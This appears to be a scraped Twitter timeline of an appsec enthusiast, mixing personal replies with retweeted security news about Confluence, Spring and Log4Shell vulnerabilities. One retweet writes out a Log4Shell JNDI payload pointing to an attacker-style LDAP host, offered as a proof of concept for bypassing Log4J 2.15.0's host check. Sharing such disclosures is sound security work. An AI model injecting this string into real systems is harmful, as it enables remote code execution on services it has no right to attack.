Jerrin Jacob

Appsec enthusiast. Always in for learning. love tinkering and coding whenever possible.

[Jerrin Jacob @JerrinJacob26]

Wrote a simple CSP report violations listener in GO.
https://t.co/u1d4O2mI2b

[Rachel Tobac @RachelTobac]

🔑How does a FIDO security key limit the hacks we're seeing in the news now?🔑
Beyond fun to work with @Yubico & partner with @Twitter to answer that question + demo how social engineering is used to steal passwords & siphon out MFA codes to gain admin access with @EvanTobac.

[Jerrin Jacob @JerrinJacob26]

@EddieHinkle Thanks for sharing this @EddieHinkle and congrats.

[Jerrin Jacob @JerrinJacob26]

@ropnop Yeah I have referred to it countless times given that it's so tricky. And I am so glad you wrote a blog on it.

[Jerrin Jacob @JerrinJacob26]

Huge shoutout to @ropnop on this article https://t.co/0P0vaY5QYd of SOP, CORS and CSRF. I don't know how many times I have referred to this blog to make sure I understand these concepts properly. Looking forward to more of these.🙌

[Jerrin Jacob @JerrinJacob26]

@zoocoup 🤣

[Jerrin Jacob @JerrinJacob26]

@NVIDIAGeForce Gtx 275

[Jerrin Jacob @JerrinJacob26]

@zoocoup Thanks @zoocoup

[briankrebs @briankrebs]

Atlassian is warning about a zero-day in Confluence (CVE-2022-26134). This is a pre-auth, remote code execution bug. No patch yet. Atlassian credits @Volexity which reported it after responding to different victims who got shells/backdoors via this flaw. https://t.co/3AgnpQ1fB3

[/r/netsec @_r_netsec]

Unauthenticated Remote Code Execution in Atlassian Confluence (CVE-2022-26134) https://t.co/ZDpEHFkBwm

[Jim Manico from Manicode Security @manicode]

Absolutely my favorite #AppSec publication and news source.

https://t.co/JCS4JnOfa0

Outstanding blog from @clintgibler

[Praetorian @praetorianlabs]

We have a working exploit for the new spring rce vulnerability

https://t.co/xMNsdUY04Z

[Márcio Almeida @marcioalm]

FIX: Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual. #Log4Shell 1/n

[Alvaro Muñoz @pwntester]

CVE-2021-45046 is vulnerable when attackers can control **non-message** parts of the pattern layout. Here are some examples 🧵

[NCC Group Research & Technology @NCCGroupInfosec]

We've updated the blog post on Log4Shell: Reconnaissance and post exploitation network detection

- New vulnerable .class / .jar hunter script - Python 3 - https://t.co/KvIXURFVgz
- New JNDI ExploitKit analysis
- .. and more

https://t.co/FButF4Nf4j

[Steve Lasker @SteveLasker]

More details on the @CloudNativeFdn #Notaryv2 Alpha 1 release, supporting #signing of @docker images and other #securesupplychain artifacts: https://t.co/xjPTUYyLbZ

[Jerrin Jacob @JerrinJacob26]

@madebygoogle In Vermont #pixel2xl

[Ars Technica @arstechnica]

Apple users warned: Clicking this attachment will take over your macOS https://t.co/ccRHeI6xes

[Engineering @Engineering]

Calling all bounty hunters - it’s officially go time! We’ve just released the full details of our algorithmic bias bounty challenge which is open through August 6. For more details on the challenge, head over to our blog 👇 https://t.co/foXUdMGwRc

[Jerrin Jacob @JerrinJacob26]

@GamersNexus Just received mine. Thank you so much. It looks and feels awesome. Although I was hoping I would be lucky with the the signed ones. 😅

[Jim Manico from Manicode Security @manicode]

I’m teaching a secure coding masterclass at GOTOpia Chicago on April 19th, this Monday! If you care to join please use discount code jim10 for 10% off.

https://t.co/GlkXvK96uj

I hope to see you there! Please RT! :)